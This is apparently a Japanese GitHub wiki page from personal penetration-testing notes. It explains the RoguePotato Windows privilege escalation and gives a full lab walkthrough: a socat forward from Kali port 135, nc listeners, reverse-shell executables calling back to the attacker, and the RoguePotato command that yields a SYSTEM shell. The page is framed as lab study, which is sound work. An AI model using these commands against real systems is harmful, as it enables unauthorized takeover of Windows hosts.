RoguePotato - yokohama/oreshic-record GitHub Wiki
RoguePotato は Windows の権限昇格テクニックで、SeImpersonatePrivilege を悪用して LOCAL SERVICE / NETWORK SERVICE から SYSTEM 権限を取得する。
DCOM(Distributed COM) と OXID Resolver を悪用する。
Windows サービスが DCOM オブジェクトを利用する際、接続先エンドポイントを解決するための仕組み。ポート 135(MS-RPC Endpoint Mapper)で動作する。
【正常な動作】SQL Server が DCOM オブジェクトを使う場合
SQL Server (SYSTEM)
│
▼ ① 「このCOMオブジェクトどこにある?」
localhost:135 (OXID Resolver)
│
▼ ② 「localhost:xxxx だよ」
SQL Server
│
▼ ③ 正規のエンドポイントに接続
localhost:xxxx (COM Server)
【攻撃時の動作】RoguePotato が介入する場合
RoguePotato
│
▼ ① 偽の DCOM オブジェクトを作成、SYSTEM サービスを誘導
Windows Service (SYSTEM)
│
▼ ② 「このCOMオブジェクトどこにある?」
OXID Resolver(RoguePotato が応答を操作)
│
▼ ③ 「Kali:135 だよ」← 嘘の応答
Windows Service (SYSTEM)
│
▼ ④ SYSTEM トークン付きで認証リクエスト送信
Kali:135 (socat)
│
▼ ⑤ Windows:9999 に転送
RoguePotato (Windows:9999)
│
▼ ⑥ SYSTEM トークンを奪取!
▼ ⑦ SeImpersonatePrivilege で SYSTEM として任意コマンド実行
| ポート | 必須/任意 | 役割 |
|---|---|---|
| 135 | 必須 | OXID Resolver の既定ポート。Windows の仕様で固定 |
| 9999 | 任意 | RoguePotato の -l オプションで指定。socat の転送先と一致させればOK |
Windows 10 1809 以降、ローカル 135 ポートへの OXID 解決が制限された。そのため外部IP経由で迂回し、socat で戻す必要がある
| 年 | 名前 | 状況 |
|---|---|---|
| 2016 | Hot Potato | パッチ済み |
| 2016 | Rotten Potato | パッチ済み |
| 2018 | Juicy Potato | Windows Server 2019/Windows 10 1809以降で対策 |
| 2020 | Rogue Potato | 現役(Juicy Potatoの回避版) |
| 2020 | PrintSpoofer | 現役 |
| 2022 | GodPotato | 現役(最新) |
Windows の COM/DCOM 認証の仕組み自体が根本原因であり、完全な修正は後方互換性を壊すため困難。Microsoft は個別のCLSIDをブロックする対症療法を続けているが、新しい攻撃ベクターが発見され続けている
- https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.html
- https://jlajara.gitlab.io/Potatoes_Windows_Privesc
- Windows 10 (1809以降含む)
- Windows Server 2016 / 2019 / 2022
現在のシェルで以下のいずれかの特権が必要:
- SeImpersonatePrivilege - 認証後にクライアントを偽装
- SeAssignPrimaryTokenPrivilege - プロセスにトークンを割り当て
確認コマンド:
whoami /priv以下のサービスアカウントは通常 SeImpersonatePrivilege を持つ:
- LOCAL SERVICE
- NETWORK SERVICE
- IIS AppPool ユーザー
- SQL Server サービスアカウント
本手順では 管理者権限 + PsExec で LOCAL SERVICE シェルを取得している。これはラボ環境で RoguePotato の動作を学習するためのもの。
| シナリオ | 前提 | 現実的か |
|---|---|---|
| 実際のペンテスト | IIS/SQL等のサービス経由でシェル取得済み | ◯ よくある |
| 学習・検証用 | 管理者RDP + PsExec で LOCAL SERVICE を模擬 | ◯ ラボ環境向け |
| PsExec で代替 | 管理者権限なしで LOCAL SERVICE 取得 | ✕ 不可能 |
注意: PSExec -u "nt authority\local service" は管理者権限が必要。サービスアカウントがない環境での代替手段にはならない
| 用途 | ツール | ポート |
|---|---|---|
| ポート転送 | socat | 135 → Windows:9999 |
| 初期シェル受信 | nc | 443 |
| SYSTEMシェル受信 | nc | 444 |
| ファイル | 用途 |
|---|---|
| RoguePotato.exe | 本体 |
| reverse443.exe | LOCAL SERVICE シェル用 |
| reverse444.exe | SYSTEM シェル用 |
| PSExec64.exe | サービスアカウントでプロセス実行 |
- RoguePotato: https://github.com/antonioCoco/RoguePotato/releases
- PSExec: https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
sequenceDiagram
participant Admin as 攻撃者<br/>(Windows RDP)
participant LocalSvc as LOCAL SERVICE<br/>シェル
participant RogueP as RoguePotato<br/>(Windows:9999)
participant WinSvc as Windowsサービス<br/>(SYSTEM権限)
participant Socat as Kali:135<br/>(socat)
participant NC1 as Kali:443<br/>(nc リスナー1)
participant NC2 as Kali:444<br/>(nc リスナー2)
Note over Socat,NC2: 事前準備
Note over Socat: socat起動<br/>135→Windows:9999転送
Note over NC1: nc -lvnp 443
Note over NC2: nc -lvnp 444
Note over Admin,NC2: Step 1: LOCAL SERVICEシェル取得
Admin->>Admin: PSExec64.exe -i<br/>-u "nt authority\local service"<br/>reverse443.exe
Admin->>NC1: reverse443.exe が<br/>Kali:443 に接続
NC1-->>LocalSvc: LOCAL SERVICEシェル取得<br/>(SeImpersonatePrivilege あり)
Note over Admin,NC2: Step 2: RoguePotato でSYSTEM奪取
LocalSvc->>RogueP: RoguePotato.exe 実行<br/>-r KaliIP -e reverse444.exe -l 9999
Note over RogueP: Windows:9999 で<br/>リッスン開始
RogueP->>WinSvc: 「認証先は Kali:135 だよ」<br/>(嘘の情報を注入)
WinSvc->>Socat: SYSTEM権限で認証リクエスト<br/>(SYSTEMトークン含む)
Socat->>RogueP: トークンを転送<br/>(Windows:9999へ)
Note over RogueP: SYSTEMトークン取得!<br/>SeImpersonatePrivilegeで<br/>なりすまし実行
RogueP->>RogueP: reverse444.exe を<br/>SYSTEM権限で実行
RogueP->>NC2: reverse444.exe が<br/>Kali:444 に接続
NC2-->>NC2: SYSTEMシェル取得!
# ターミナル1: ポート転送(Kali:135 → Windows:9999)
sudo socat tcp-listen:135,reuseaddr,fork tcp:$TARGET_IP:9999
# ターミナル2: LOCAL SERVICE シェル用リスナー
nc -lvnp 443
# ターミナル3: SYSTEM シェル用リスナー
nc -lvnp 444# 管理者権限のcmdから実行
PSExec64.exe -i -u "nt authority\local service" C:\path\to\reverse443.exeKali の 443 ポートで LOCAL SERVICE シェルを受信。
whoami
# → nt authority\local service
whoami /priv
# → SeImpersonatePrivilege が Enabled であることを確認RoguePotato.exe -r $KALI_IP -e "C:\path\to\reverse444.exe" -l 9999| オプション | 説明 |
|---|---|
-r |
リダイレクト先(Kali の IP) |
-e |
SYSTEM 権限で実行するコマンド |
-l |
ローカルでリッスンするポート |
Kali の 444 ポートで SYSTEM シェルを受信。
whoami
# → nt authority\systemRogue,Potato,win,priv